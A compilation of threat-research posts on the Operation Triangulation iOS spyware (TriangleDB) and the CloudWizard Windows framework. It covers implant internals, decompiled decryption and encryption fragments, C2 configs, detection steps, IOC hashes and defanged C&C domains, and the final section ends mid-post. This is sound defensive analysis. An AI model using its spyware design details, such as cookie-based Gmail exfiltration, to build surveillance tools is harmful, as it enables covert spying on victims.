Over the years, there have been multiple cases when iOS devices were infected with targeted spyware such as Pegasus, Predator, Reign and others. Often, the process of infecting a device involves launching a chain of different exploits, e.g. for escaping the iMessage sandbox while processing a malicious attachment, and for getting root privileges through a vulnerability in the kernel. Due to this granularity, discovering one exploit in the chain often does not result in retrieving the rest of the chain and obtaining the final spyware payload. For example, in 2021, analysis of iTunes backups helped to discover an attachment containing the FORCEDENTRY exploit. However, during post-exploitation, the malicious code downloaded a payload from a remote server that was not accessible at the time of analysis. Consequently, the analysts lost “the ability to follow the exploit.”

In researching Operation Triangulation, we set ourselves the goal to retrieve as many parts of the exploitation chain as possible. It took about half a year to accomplish that goal, and, after the collection of the chain had been completed, we started an in-depth analysis of the discovered stages. As of now, we have finished analyzing the spyware implant and are ready to share the details.

The Operation Triangulation infection chain

The implant, which we dubbed TriangleDB, is deployed after the attackers obtain root privileges on the target iOS device by exploiting a kernel vulnerability. It is deployed in memory, meaning that all traces of the implant are lost when the device gets rebooted. Therefore, if the victim reboots their device, the attackers have to reinfect it by sending an iMessage with a malicious attachment, thus launching the whole exploitation chain again. In case no reboot occurs, the implant uninstalls itself after 30 days, unless this period is extended by the attackers.

Meet TriangleDB

The TriangleDB implant is coded using Objective-C, a programming language that preserves names of members and methods assigned by the developer. In the implant’s binary, method names are not obfuscated; however, names of class members are uninformative acronyms, which makes it difficult to guess their meaning:

In some cases, it is possible to guess what the acronyms mean. For example, osV is the iOS version, and iME contains the device’s IMEI.

The strings in the implant are HEX-encoded and encrypted with rolling XOR:

id +[CRConfig unmungeHexString:](id a1, SEL a2, id stringToDecrypt) {
  // code omitted
  while (1) {
	hexByte[0] = stringBytes[i];
	hexByte[1] = stringBytes[i + 1];
	encryptedByte = strtoul(hexByte, &__endptr, 16);
	if (__endptr == hexByte) 
          break;
	i += 2LL;
	if (j)
  	    decryptedString[j] = encryptedByte ^ previousByte;
	else
  	    decryptedString[0] = encryptedByte;
	++j;
	previousByte = encryptedByte;
	if (i >= stringLength) 
          break;
  }
  decryptedString[j] = 0;
  // code omitted
}

The rolling XOR algorithm implemented in the implant for string decryption

C2 communications

Once the implant launches, it starts communicating with the C2 server, using the Protobuf library for exchanging data. The configuration of the implant contains two servers: the primary and the fallback (contained in the lS and lSf configuration fields). Normally, the implant uses the primary server, and, in case of an error, it switches to the fallback server by invoking the -[CRConfig swapLpServerType:] method.

Additionally, the sent and received messages are encrypted with symmetric (3DES) and asymmetric (RSA) cryptography. All messages are exchanged via the HTTPS protocol in POST requests, with the cookie having the key g and a value that is a digit string from the pubKI configuration parameter.

The implant periodically sends heartbeat beacons that contain system information, including the implant version, device identifiers (IMEI, MEID, serial number, etc.) and the configuration of the update daemon (whether automatic downloads and installations of updates are enabled).

Heartbeat beacon snippet, implant v1.7.0.5 running on iOS 15.3.1

TriangleDB commands

The C2 server responds to heartbeat messages with commands. Commands are transferred as Protobuf messages that have type names starting with CRX. The meaning of these names is obscure: for example, the command listing directories is called CRXShowTables, and changing C2 server addresses is handled by the command CRXConfigureDBServer. In total, the implant we analyzed has 24 commands designed for:

• Interacting with the filesystem (creation, modification, exfiltration and removal of files);
• Interacting with processes (listing and terminating them);
• Dumping the victim’s keychain items, which can be useful for harvesting victim credentials;
• Monitoring the victim’s geolocation;
• Running additional modules, which are Mach-O executables loaded by the implant. These executables are reflectively loaded, with their binaries stored only in memory.

One of the interesting commands we discovered is called CRXPollRecords. It monitors changes in folders, looking for modified files that have names matching specified regular expressions. Change monitoring is handled by obtaining a Unix file descriptor of the directory and assigning a vnode event handler to it. Whenever the implant gets notified of a change, the event handler searches for modified files that match the regex provided by the attacker. Such files are then scheduled for uploading to the C2 server.

The parameters of this command are as follows:

Below, we describe the implant’s commands, specifying the developer-assigned command names along with their numerical identifiers when possible.

Odd findings

While researching the TriangleDB implant, we found a lot of curious details:

• The developers refer to string decryption as “unmunging” (as the method performing string decryption is named +[CRConfig unmungeHexString:] );
• Throughout the code, we observed that different entities were given names from database terminology, which is the reason why we dubbed the implant TriangleDB:
  

  Entity	Developer-used terminology for the entity
  Directory	Table
  File	Record
  Implant module
  Process	Schema
  Keychain entry	Index, row
  C2 server	DB Server
  Geolocation information	DB Status
  Heartbeat	Diagnostic data
  Process of exchanging data with C2 server	Transaction
  Request to C2 server	Query
  iOS application	Operation

• While analyzing TriangleDB, we found that the class CRConfig (used to store the implant’s configuration) has a method named populateWithFieldsMacOSOnly. This method is not called anywhere in the iOS implant; however, its existence means that macOS devices can also be targeted with a similar implant;
• The implant requests multiple entitlements (permissions) from the operating system. Some of them are not used in the code, such as access to camera, microphone and address book, or interaction with devices via Bluetooth. Thus, functionalities granted by these entitlements may be implemented in modules.

To be continued

That’s it for TriangleDB, a sophisticated implant for iOS containing multiple oddities. We are continuing to analyze the campaign, and will keep you updated with all details about this sophisticated attack.

TriangleDB indicators of compromise

MD5      063db86f015fe99fdd821b251f14446d
SHA-1    1a321b77be6a523ddde4661a5725043aba0f037f
SHA-256  fd9e97cfb55f9cfb5d3e1388f712edd952d902f23a583826ebe55e9e322f730f

In our initial blogpost about “Operation Triangulation”, we published a comprehensive guide on how to manually check iOS device backups for possible indicators of compromise using MVT. This process takes time and requires manual search for several types of indicators. To automate this process, we developed a dedicated utility to scan the backups and run all the checks. For Windows and Linux, this tool can be downloaded as a binary build, and for MacOS it can be simply installed as a Python package.

How to back up your device

Windows

On Windows, the easiest way to do a backup is via iTunes:

1. Connect your device to a computer that has iTunes installed. Unlock your device and, if needed, confirm that you trust your computer.
   

   Window asking to trust the computer

2. Your device should now be displayed in iTunes. Right click on it and press “Back Up”.
   
3. The created backup will be saved to the %appdata%\Apple Computer\MobileSync\Backup directory.

macOS

If your macOS version is lower than Catalina (10.15), you can create a backup using iTunes, using instructions for Windows. Starting from Catalina, backups can be created through Finder:

• Connect your device to the computer and, if needed, confirm that you trust the computer.
• Your device should now be displayed in Finder. Select it and then click “Create a backup“.
• The created backup will be saved to the ~/Library/Application Support/MobileSync/Backup/ directory.

Linux

To create a backup on Linux, you will need to install the libimobiledevice library. In order to create backups of devices with the latest versions of iOS installed, you will need to compile this library from source code (you can find the build instructions in the Installation/Getting Started section).
After you install the library and connect your device to the computer, you can create a backup using the idevicebackup2 backup --full command.
During the backup process, you may need to enter your device passcode multiple times.

How to use our triangle_check utility

After you do a backup of your device using the instructions above, you will need to install and launch our triangle_check utility.

The triangle_check Python package

No matter what operating system you have, you can install the triangle_check Python package that we have published to the Python Package Index (PyPi). To do that, you need to have internet access as well as have the pip utility installed.
You can install the utility using two methods:

• From PyPI (recommended):
  Run the python -m pip install triangle_check command.
• Building from Github:
  Run the following commands:
  git clone https://github.com/KasperskyLab/triangle_check
cd triangle_check
python -m build
python -m pip install dist/triangle_check-1.0-py3-none-any.whl

After installing, you can launch the utility with the following command:
python -m triangle_check path to the created backup.

Binary builds

If you have Windows or Linux, you can also use the binary builds of the triangle_check utility that we have published on GitHub. Follow the instructions below to use it:
Windows

1. Download the triangle_check_win.zip archive from the GitHub releases page and unpack it.
2. Launch the command prompt (cmd.exe) or PowerShell.
3. Change your directory to the one with the unpacked archive (e.g. cd %userprofile%\Downloads\triangle_check_win).
4. Launch triangle_check.exe, specifying the path to the backup as an argument (e.g. triangle_check.exe "%appdata%\Apple Computer\MobileSync\Backup\00008101-000824411441001E-20230530-143718" ).

Linux

1. Download the triangle_check_win.zip archive from the GitHub releases page and unpack it.
2. Launch the terminal.
3. Change your directory to the one with the unpacked archive (e.g. cd ~/Downloads/triangle_check_linux).
4. Allow the utility to be executed with the chmod +x triangle_check command.
5. Launch the utility, specifying the path to the backup as an argument (e.g. ./triangle_check ~/Desktop/my_backup/00008101-000824411441001E-20230530-143718 ).

Interpreting the results

The utility outputs “DETECTED” when it locates specific indicators of compromise, and that would mean that the device was infected.
Also, it may print out “SUSPICION” that would mean that a combination of less specific indicators points to a likely infection. Finally, if the message displayed is “No traces of compromise were identified“, then the utility did not find any signs of ‘Operation Triangulation’ compromise.

While monitoring the network traffic of our own corporate Wi-Fi network dedicated for mobile devices using the Kaspersky Unified Monitoring and Analysis Platform (KUMA), we noticed suspicious activity that originated from several iOS-based phones. Since it is impossible to inspect modern iOS devices from the inside, we created offline backups of the devices in question, inspected them using the Mobile Verification Toolkit’s mvt-ios and discovered traces of compromise.
We are calling this campaign “Operation Triangulation”, and all the related information we have on it will be collected on the Operation Triangulation page. If you have any additional details to share, please contact us: triangulation[at]kaspersky.com.

What we know so far

Mobile device backups contain a partial copy of the filesystem, including some of the user data and service databases. The timestamps of the files, folders and the database records allow to roughly reconstruct the events happening to the device. The mvt-ios utility produces a sorted timeline of events into a file called “timeline.csv”, similar to a super-timeline used by conventional digital forensic tools.
Using this timeline, we were able to identify specific artifacts that indicate the compromise. This allowed to move the research forward, and to reconstruct the general infection sequence:

• The target iOS device receives a message via the iMessage service, with an attachment containing an exploit.
• Without any user interaction, the message triggers a vulnerability that leads to code execution.
• The code within the exploit downloads several subsequent stages from the C&C server, that include additional exploits for privilege escalation.
• After successful exploitation, a final payload is downloaded from the C&C server, that is a fully-featured APT platform.
• The initial message and the exploit in the attachment is deleted

The malicious toolset does not support persistence, most likely due to the limitations of the OS. The timelines of multiple devices indicate that they may be reinfected after rebooting. The oldest traces of infection that we discovered happened in 2019. As of the time of writing in June 2023, the attack is ongoing, and the most recent version of the devices successfully targeted is iOS 15.7.
The analysis of the final payload is not finished yet. The code is run with root privileges, implements a set of commands for collecting system and user information, and can run arbitrary code downloaded as plugin modules from the C&C server.

Forensic methodology

It is important to note, that, although the malware includes portions of code dedicated specifically to clear the traces of compromise, it is possible to reliably identify if the device was compromised. Furthermore, if a new device was set up by migrating user data from an older device, the iTunes backup of that device will contain the traces of compromise that happened to both devices, with correct timestamps.

Preparation

All potential target devices must be backed up, either using iTunes, or an open-source utility idevicebackup2 (from the package libimobiledevice). The latter is shipped as a pre-built package with the most popular Linux distributions, or can be built from the source code for MacOS/Linux.
To create a backup with idevicebackup2, run the following command:
idevicebackup2 backup --full $backup_directory

You may need to enter the security code of the device several times, and the process may take several hours, depending on the amount of user data stored in it.

Install MVT

Once the backup is ready, it has to be processed by the Mobile Verification Toolkit. If Python 3 is installed in the system, run the following command:
pip install mvt

A more comprehensive installation manual is available the MVT homepage.

Optional: decrypt the backup

If the owner of the device has set up encryption for the backup previously, the backup copy will be encrypted. In that case, the backup copy has to be decrypted before running the checks:
mvt-ios decrypt-backup -d $decrypted_backup_directory $backup_directory

Parse the backup using MVT

mvt-ios check-backup -o $mvt_output_directory $decrypted_backup_directory
This command will run all the checks by MVT, and the output directory will contain several JSON and CSV files. For the methodology described in this blogpost, you will need the file called timeline.csv.

Check timeline.csv for indicators

1. The single most reliable indicator that we discovered is the presence of data usage lines mentioning the process named “BackupAgent”. This is a deprecated binary that should not appear in the timeline during regular usage of the device. However, it is important to note that there is also a binary named “BackupAgent2”, and that is not an indicator of compromise. In many cases, BackupAgent is preceded by the process “IMTransferAgent”, that downloads the attachment that happens to be an exploit, and this leads to modification of the timestamps of multiple directories in the “Library/SMS/Attachments”. The attachment is then deleted, leaving only modified directories, without actual files inside them:
   2022-09-13 10:04:11.890351Z Datausage IMTransferAgent/com.apple.datausage.messages (Bundle ID: com.apple.datausage.messages, ID: 127) WIFI IN: 0.0, WIFI OUT: 0.0 - WWAN IN: 76281896.0, WWAN OUT: 100956502.0
2022-09-13 10:04:54.000000Z Manifest Library/SMS/Attachments/65/05 - MediaDomain
2022-09-13 10:05:14.744570Z Datausage BackupAgent (Bundle ID: , ID: 710) WIFI IN: 0.0, WIFI OUT: 0.0 - WWAN IN: 734459.0, WWAN OUT: 287912.0
2. There are also less reliable indicators, that may be treated as IOCs if several of them happened within a timeframe of minutes:
   • Modification of one or several files: com.apple.ImageIO.plist, com.apple.locationd.StatusBarIconManager.plist, com.apple.imservice.ids.FaceTime.plist
   • Data usage information of the services com.apple.WebKit.WebContent, powerd/com.apple.datausage.diagnostics, lockdownd/com.apple.datausage.security

   Example:
   2021-10-30 16:35:24.923368Z Datausage IMTransferAgent/com.apple.MobileSMS (Bundle ID: com.apple.MobileSMS, ID: 945) WIFI IN: 0.0, WIFI OUT: 0.0 - WWAN IN: 31933.0, WWAN OUT: 104150.0
2021-10-30 16:35:24.928030Z Datausage IMTransferAgent/com.apple.MobileSMS (Bundle ID: com.apple.MobileSMS, ID: 945)
2021-10-30 16:35:24.935920Z Datausage IMTransferAgent/com.apple.datausage.messages (Bundle ID: com.apple.datausage.messages, ID: 946) WIFI IN: 0.0, WIFI OUT: 0.0 - WWAN IN: 47743.0, WWAN OUT: 6502.0
2021-10-30 16:35:24.937976Z Datausage IMTransferAgent/com.apple.datausage.messages (Bundle ID: com.apple.datausage.messages, ID: 946)
2021-10-30 16:36:51.000000Z Manifest Library/Preferences/com.apple.locationd.StatusBarIconManager.plist - HomeDomain
2021-10-30 16:36:51.000000Z Manifest Library/Preferences/com.apple.ImageIO.plist - RootDomain

   Another example: modification of an SMS attachment directory (but no attachment filename), followed by data usage of com.apple.WebKit.WebContent, followed by modification of com.apple.locationd.StatusBarIconManager.plist. All the events happened within a 1-3 minute timeframe, indicating the result of a successful zero-click compromise via an iMessage attachment, followed by the traces of exploitation and malicious activity.
   2022-09-11 19:52:56.000000Z Manifest Library/SMS/Attachments/98 - MediaDomain
2022-09-11 19:52:56.000000Z Manifest Library/SMS/Attachments/98/08 - MediaDomain
2022-09-11 19:53:10.000000Z Manifest Library/SMS/Attachments/98/08 - MediaDomain
2022-09-11 19:54:51.698609Z OSAnalyticsADDaily com.apple.WebKit.WebContent WIFI IN: 77234150.0, WIFI OUT: 747603971.0 - WWAN IN: 55385088.0, WWAN OUT: 425312575.0
2022-09-11 19:54:51.702269Z Datausage com.apple.WebKit.WebContent (Bundle ID: , ID: 1125)
2022-09-11 19:54:53.000000Z Manifest Library/Preferences/com.apple.locationd.StatusBarIconManager.plist - HomeDomain
2022-06-26 18:21:36.000000Z Manifest Library/SMS/Attachments/ad/13 - MediaDomain
2022-06-26 18:21:36.000000Z Manifest Library/SMS/Attachments/ad - MediaDomain
2022-06-26 18:21:50.000000Z Manifest Library/SMS/Attachments/ad/13 - MediaDomain
2022-06-26 18:22:03.412817Z OSAnalyticsADDaily com.apple.WebKit.WebContent WIFI IN: 19488889.0, WIFI OUT: 406382282.0 - WWAN IN: 66954930.0, WWAN OUT: 1521212526.0
2022-06-26 18:22:16.000000Z Manifest Library/Preferences/com.apple.ImageIO.plist - RootDomain
2022-06-26 18:22:16.000000Z Manifest Library/Preferences/com.apple.locationd.StatusBarIconManager.plist - HomeDomain
2022-03-21 21:37:55.000000Z Manifest Library/SMS/Attachments/fc - MediaDomain
2022-03-21 21:37:55.000000Z Manifest Library/SMS/Attachments/fc/12 - MediaDomain
2022-03-21 21:38:08.000000Z Manifest Library/SMS/Attachments/fc/12 - MediaDomain
2022-03-21 21:38:23.901243Z OSAnalyticsADDaily com.apple.WebKit.WebContent WIFI IN: 551604.0, WIFI OUT: 6054253.0 - WWAN IN: 0.0, WWAN OUT: 0.0
2022-03-21 21:38:24.000000Z Manifest Library/Preferences/com.apple.locationd.StatusBarIconManager.plist - HomeDomain

3. An even less implicit indicator of compromise is inability to install iOS updates. We discovered malicious code that modifies one of the system settings file named com.apple.softwareupdateservicesd.plist. We observed update attempts to end with an error message “Software Update Failed. An error ocurred downloading iOS”.

Network activity during exploitation

On the network level, a successful exploitation attempt can be identified by a sequence of several HTTPS connection events. These can be discovered in netflow data enriched with DNS/TLS host information, or PCAP dumps:

• Legitimate network interaction with the iMessage service, usually using the domain names *.ess.apple.com
• Download of the iMessage attachment, using the domain names .icloud-content.com, content.icloud.com
• Multiple connections to the C&C domains, usually 2 different domains (the list of known domains follows). Typical netflow data for the C&C sessions will show network sessions with significant amount of outgoing traffic.

Network exploitation sequence, Wireshark dump

The iMessage attachment is encrypted and downloaded over HTTPS, the only implicit indicator that can be used is the amount of downloaded data that is about 242 Kb.

Encrypted iMessage attachment, Wireshark dump

C&C domains

Using the forensic artifacts, it was possible to identify the set of domain name used by the exploits and further malicious stages. They can be used to check the DNS logs for historical information, and to identify the devices currently running the malware:
addatamarket[.]net
backuprabbit[.]com
businessvideonews[.]com
cloudsponcer[.]com
datamarketplace[.]net
mobilegamerstats[.]com
snoweeanalytics[.]com
tagclick-cdn[.]com
topographyupdates[.]com
unlimitedteacup[.]com
virtuallaughing[.]com
web-trackers[.]com
growthtransport[.]com
anstv[.]net
ans7tv[.]net

In March 2023, we uncovered a previously unknown APT campaign in the region of the Russo-Ukrainian conflict that involved the use of PowerMagic and CommonMagic implants. However, at the time it was not clear which threat actor was behind the attack. Since the release of our report about CommonMagic, we have been looking for additional clues that would allow us to learn more about this actor. As we expected, we have been able to gain a deeper insight into the “bad magic” story.

While looking for implants bearing similarities with PowerMagic and CommonMagic, we identified a cluster of even more sophisticated malicious activities originating from the same threat actor. What was most interesting about it is that its victims were located not only in the Donetsk, Lugansk and Crimea regions, but also in central and western Ukraine. Targets included individuals, as well as diplomatic and research organizations. The newly discovered campaign involved using a modular framework we dubbed CloudWizard. Its features include taking screenshots, microphone recording, keylogging and more.

Over the years, the infosec community has discovered multiple APTs operating in the Russo-Ukrainian conflict region – Gamaredon, CloudAtlas, BlackEnergy and many others. Some of these APTs have long been forgotten in the past – such as Prikormka (Operation Groundbait), discovered by ESET in 2016. While there have been no updates about Prikormka or Operation Groundbait for a few years now, we discovered multiple similarities between the malware used in that campaign, CommonMagic and CloudWizard. Upon further investigation, we found that CloudWizard has a rich and interesting history that we decided to dig into. Our findings we also shared on the cybersecurity conference Positive Hack Days. You can watch our presentation here.

Initial findings

Our investigation started with telemetry data coming from an active infection, with malware running as a suspicious Windows service named “syncobjsup”. This service was controlled by a DLL with an equally suspicious path “C:\ProgramData\Apparition Storage\syncobjsup.dll”. Upon execution, we found this DLL to decrypt data from the file mods.lrc that is located in the same directory as the DLL. The cipher used for decryption was RC5, with the key 88 6A 3F 24 D3 08 A3 85 E6 21 28 45 77 13 D0 38. However, decryption of the file with the standard RC5 implementation yielded only junk data. A closer look into the RC5 implementation in the sample revealed that it was faulty:

for (i = 0; i < 4; i += 2)
{
    A = buf[i];
    B = buf[i + 1];
    for (j = 12; j > 0; --j)
    {
        v2 = rotate_right(B - S[2 * i + 1], A);
        B = A ^ v2;
        A ^= v2 ^ rotate_right(A - S[2 * i], A ^ v2);
    }
}

The bug is in the inner loop: it uses the variable i instead of j.

A search for this incorrect implementation revealed a GitHub gist of the code that has been likely borrowed by the implant’s developers. In the comments to this gist, GitHub users highlight the error:

What is also interesting is that the key from the gist is the same as the one used in the syncobjsup.dll library.

The decrypted file looked to us like a virtual file system (VFS), containing multiple executables and their JSON-encoded configurations:

Each entry in this VFS contains magic bytes (‘CiCi’), a ROR6 hash of the entry name, as well as the entry size and contents.

Inside mods.lrc, we found:

• Three DLLs (with export table names Main.dll, Crypton.dll and Internet.dll);
• A JSON configuration of these DLLs.

The syncobjsup.dll DLL iterates over VFS entries, looking for an entry with the name “Main” (ROR6 hash: 0xAA23406F). This entry contains CloudWizard’s Main.dll orchestrator library, which is reflectively loaded and launched by invoking its SvcEntry export.

Digging into the orchestrator

Upon launching, the orchestrator spawns a suspended WmiPrvSE.exe process and injects itself into it. From the WmiPrvSE.exe process, it makes a backup of the VFS file, copying mods.lrc to mods.lrs. It then parses mods.lrs to obtain all the framework module DLLs and their configurations. As mentioned above, configurations are JSON files with dictionary objects:

{
    "Screenshot": {
        "type": "3",
        "intervalSec": "4",
        "numberPack": "24",
        "winTitle": [
            "SKYPE",
            "VIBER"
        ]
    },
    "Keylogger": {
        "bufSize": "100"
    },
    "Microphone": {
        "intervalSec": "500",
        "acousticStart": "1"
    }
}

The orchestrator itself contains a configuration with parameters such as:

• Victim ID (e.g., 03072020DD);
• Framework version (latest observed version is 5.0);
• Interval between two consecutive heartbeats.

After launching modules, the orchestrator starts communicating with the attackers by sending heartbeat messages. Each heartbeat is a JSON file with victim information and a list of loaded modules:

{
      "name": "<victim_id>",
	"romoID": "2",
	"bitOS": "64",
	"version": "5.0",
	"serial": "<infection_timestamp>",
	"keyID": "<key_id>",
	"ip": "0.0.0.0",
	"state": [
		"Main","Crypton","Internet","Screenshot",
		"USB","Keylogger","Gmail"
	],
	"state2": [
    		{"Module": "Main","time_mode": "2","Version": "4.7"},
    		{"Module": "Crypton","time_mode": "2","Version": "1.0"},
    		{"Module": "Internet","time_mode": "2","Version": "0.07"},
    		{"Module": "Screenshot","time_mode": "2","Version": "0.01"},
    		{"Module": "USB","time_mode": "2","Version": "0.01"},
    		{"Module": "Keylogger","time_mode": "2","Version": "0.01"},
    		{"Module": "Gmail","time_mode": "2","Version": "0.06"}
	]
}

This JSON string is encrypted with the cryptography module (Crypton.dll from the VFS) and sent to the attackers with the internet communication module (Internet.dll).

In response to the heartbeats, the orchestrator receives commands allowing it to perform module management: install, start, stop, delete modules or change their configurations. Each command contains magic bytes (DE AD BE EF) and a JSON string (e.g., {"Delete": ["Keylogger", "Screenshot"]}), optionally followed by a module DLL file.

Encryption and communication

As we have mentioned above, two modules (Crypton.dll and Internet.dll) are bundled with every installation of the CloudWizard framework. The Crypton module performs encryption and decryption of all communications. It uses two encryption algorithms:

• Heartbeat messages and commands are encrypted with AES (the key is specified in the JSON configuration VFS file)
• Other data (e.g., module execution results) is encrypted with a combination of AES and RSA. First, the data is encrypted with a generated pseudorandom AES session key, and then the AES key is encrypted with RSA.

if ( buffers->results.lenstr && buffers->results.str ) {
	v10 = RSA_Encrypt(AES_KEY, 32, &v8, &v7, pubKey, pubKeySize);
	if (v10) {
  		free(v8);
  		return v10;
	}
	v10 = AES_Encrypt(buffers->results.str, 
                        buffers->results.lenstr, 
                        &v4, &v6, AES_KEY);
	if (v10)
  		goto LABEL_11;
}
if (buffers->state.lenstr && buffers->state.str) {
  	v10 = AES_Encrypt(buffers->state.str,  
                        buffers->state.lenstr, 
                        &v3, &v5, phpKey);
  	if (v10)
    		goto LABEL_11;
}

• Cloud storages: OneDrive, Dropbox, Google Drive
• Web-based C2 server

The primary cloud storage is OneDrive, while Dropbox and Google Drive are used if OneDrive becomes inaccessible. The module’s configuration includes OAuth tokens required for cloud storage authentication.

As for the web server endpoint, it is used when the module can’t access any of the three cloud storages. To interact with it, it makes a GET request to the URL specified in its configuration, getting new commands in response. These commands likely include new cloud storage tokens.

While examining the strings of the network module, we found a string containing the directory name from the developer’s machine: D:\Projects\Work_2020\Soft_Version_5\Refactoring.

Module arsenal

Information gathering is performed through auxiliary DLL modules that have the following exported functions:

Modules can persist upon reboot (in this case they are saved in the mods.lrs VFS file) or executed in memory until the machine is shut down or the module is deleted by the operator.

In total, we found nine auxiliary modules performing different malicious activities such as file gathering, keylogging, taking screenshots, recording the microphone and stealing passwords.

The module that looked most interesting to us is the one that performs email exfiltration from Gmail accounts. In order to steal, it reads Gmail cookies from browser databases. Then, it uses the obtained cookies to access the Gmail web interface in legacy mode by making a GET request to  https://mail.google.com/mail/u/<account ID>/?ui=html&zy=h. When legacy mode is accessed for the first time, Gmail prompts the user to confirm whether they really wants to switch to legacy mode, sending the following webpage in response:

If the module receives such a prompt, it simulates a click on the “I’d like to use HTML Gmail” button by making a POST request to a URL from the prompt’s HTML code.

Having obtained access to the legacy web client, the module exfiltrates activity logs, the contact list and all the email messages.
What’s also interesting is that the code for this module was partially borrowed from the leaked Hacking Team source code.

Back to 2017

After obtaining the CloudWizard’s orchestrator and its modules, we were still missing one part of the infection chain: the framework installer. While searching through older telemetry data, we were able to identify multiple installers that were used from 2017 to 2020. The version of the implant installed at that time was 4.0 (as we wrote above, the most recent version we observed is 5.0).

The uncovered installer is built with NSIS. When launched, it drops three files:

• C:\ProgramData\Microsoft\WwanSvc\WinSubSvc.exe
• C:\ProgramData\Microsoft\MF\Depending.GRL (in other versions of the installer, this file is also placed under C:\ProgramData\Microsoft\MF\etwdrv.dll)
• C:\ProgramData\System\Vault\etwupd.dfg

Afterwards, it creates a service called “Windows Subsystem Service” that is configured to run the WinSubSvc.exe binary on every startup.

It is worth noting that the installer displays a message with the text “Well done!” after infection:

This may indicate that the installer we discovered is used to deploy CloudWizard via physical access to target machines, or that the installer attempts to mimic a Network Settings (as displayed in the window title) configurator.

The old (4.0) and new (5.0) CloudWizard versions have major differences, as outlined in the table below:

Attribution magic

After spending considerable time researching CloudWizard, we decided to look for clues that would allow us to attribute it to an already known actor. CloudWizard reminded us of two campaigns observed in Ukraine and reported in public: Operation Groundbait and Operation BugDrop. Operation Groundbait was first described by ESET in 2016, with the first implants observed in 2008. While investigating Operation Groundbait, ESET uncovered the Prikormka malware, which is  “the first publicly known Ukrainian malware that is being used in targeted attacks”. According to ESET’s report, the threat actors behind Operation Groundbait “most likely operate from within Ukraine”.

As for Operation BugDrop, it is a campaign discovered by CyberX in 2017. In their report, CyberX claims (without providing strong evidence) that Operation BugDrop has similarities with Operation Groundbait. And indeed, we have discovered evidence confirming this:

• Prikormka USB DOCS_STEALER module (MD5: 7275A6ED8EE314600A9B93038876F853B957B316) contains the PDB path D:\My\Projects_All\2015\wallex\iomus1_gz\Release\iomus.pdb;
• BugDrop USB stealer module (MD5: a2c27e73bc5dec88884e9c165e9372c9) contains the PDB path D:\My\Projects_All\2016\iomus0_gz\Release\usdlg.pdb.

The following facts allow us to conclude with medium to high confidence that the CloudWizard framework is operated by the actor behind Operation Groundbait and Operation BugDrop:

• ESET researchers found the loader of CloudWizard version 4.0 dll (with the export name LCrPsdNew.dll) to be similar to a Prikormka DLL. The similarity between these two files has been noted in the Virus Bulletin 2019 talk ‘Rich headers: leveraging the mysterious artifact of the PE format’ (slide 42)

  

  Slide 42 of the VB2019 ‘Rich headers: leveraging the mysterious artifact of the PE format’ talk

• ESET detects a loader of a CloudWizard v. 4 sample (MD5: 406494bf3cabbd34ff56dcbeec46f5d6, PDB path: D:\Projects\Work_2017\Service\Interactive Service_system\Release\Service.pdb) as Win32/Prikormka.CQ.
• According to our telemetry data, multiple infections with the Prikormka malware ended with a subsequent infection with the CloudWizard framework
• Implementation of several modules of CloudWizard resembles the corresponding one from the Prikormka and BugDrop modules, though rewritten from C to C++:
  • USB stealer modules retrieve the serial numbers and product IDs of connected USB devices via the IOCTL_STORAGE_QUERY_PROPERTY system call. The default fallback value in case of failure is the same, “undef”.

    

    Retrieval of USB device serial number and product ID in BugDrop (MD5: F8BDE730EA3843441A657A103E90985E)

    

    Retrieval of USB device serial number and product ID in CloudWizard (MD5: 39B01A6A025F672085835BD699762AEC)

    

    Assignment of the ‘undef’ string in BugDrop (left) and CloudWizard (right) in the samples above

  • The modules for taking screenshots use the same list of window names that trigger an increase in the frequency of screenshot taking: ‘Skype’ and ‘Viber’. CloudWizard and Prikormka share the same default value for the screenshot taking interval (15 minutes).

    

    Comparison of the window title text in Prikormka (MD5: 16793D6C3F2D56708E5FC68C883805B5)

    

    Addition of the ‘SKYPE’ and ‘VIBER’ string to a set of window titles in CloudWizard (MD5: 26E55D10020FBC75D80589C081782EA2)

  • The file listing modules in both Prikormka and CloudWizard samples have the same name: Tree. They also use the same format string for directory listings: “\t\t\t\t\t(%2.2u,%2.2u.%2.2u.%2.2u)\n”.

    

    

    Use of the same format string for directory listings in Prikormka (above, MD5: EB56F9F7692F933BEE9660DFDFABAE3A) and CloudWizard (below, MD5: BFF64B896B5253B5870FE61221D9934D)

  • Microphone modules record sound in the same way: first making a WAV recording using Windows Multimedia API and then converting it to MP3 using the LAME library. While this pattern is common in malware, the strings used to specify settings for the LAME library are specific: 8000 Hz and 16 Kbps. Both Prikormka and CloudWizard modules extract integers from these strings, using them in the LAME library.
  • A similar order of extensions is used in extension lists found in Prikormka and CloudWizard modules:
    

    Extension lists in Prikormka (left, MD5: EB56F9F7692F933BEE9660DFDFABAE3A) and CloudWizard (right, MD5: BFF64B896B5253B5870FE61221D9934D)

• In Prikormka, the names of files to be uploaded to the C2 server have the name format mm.yy_hh.mm.ss.<extension>. In CloudWizard, the files have the name format dd.mm.yyyy_hh.mm.ss.ms.dat. The date substituted into the name format strings is retrieved from the GetLocalTime API function.
• The C2 servers of both Prikormka and CloudWizard are hosted by Ukrainian hosting services. Additionally, there are similarities between BugDrop and CloudWizard in terms of exfiltrating files to the Dropbox cloud storage.
• Victims of Prikormka, BugDrop and CloudWizard are located in western and central Ukraine, as well as the area of conflict in Eastern Europe.

As for the similarities between CloudWizard and CommonMagic, they are as follows:

• The code that performs communication with OneDrive is identical in both frameworks. We did not find this code to be part of any open-source library. This code uses the same user agent: “Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136”.

The same strings in the internet communication module of CloudWizard (left, MD5: 84BDB1DC4B037F9A46C001764C115A32) and CommonMagic (right, MD5: 7C0E5627FD25C40374BC22035D3FADD8)

• Both frameworks, CloudWizard (version 4) and CommonMagic use the RC5Simple library for encryption. Files encrypted with RC5Simple start with a 7-byte header, which is set to ‘RC5SIMP’ in the library source code. However, this value has been changed in the malicious implants: DUREX43 in CloudWizard and Hwo7X8p in CommonMagic. Additionally, CloudWizard and CommonMagic use the RapidJSON library for parsing JSON objects.
• Names of files uploaded to the C2 server in CommonMagic have the format mm.dd _hh.mm.ss.ms.dat (in CloudWizard, the name format is dd.mm.yyyy_hh.mm.ss.ms.dat).
• Victim IDs extracted from CloudWizard and CommonMagic samples are similar: they contain a date followed by the two same letters, e.g. 03072020DD, 05082020BB in CloudWizard and WorkObj20220729FF in CommonMagic.
• Victims of CommonMagic and CloudWizard are located in the area of conflict in Eastern Europe.

So what?

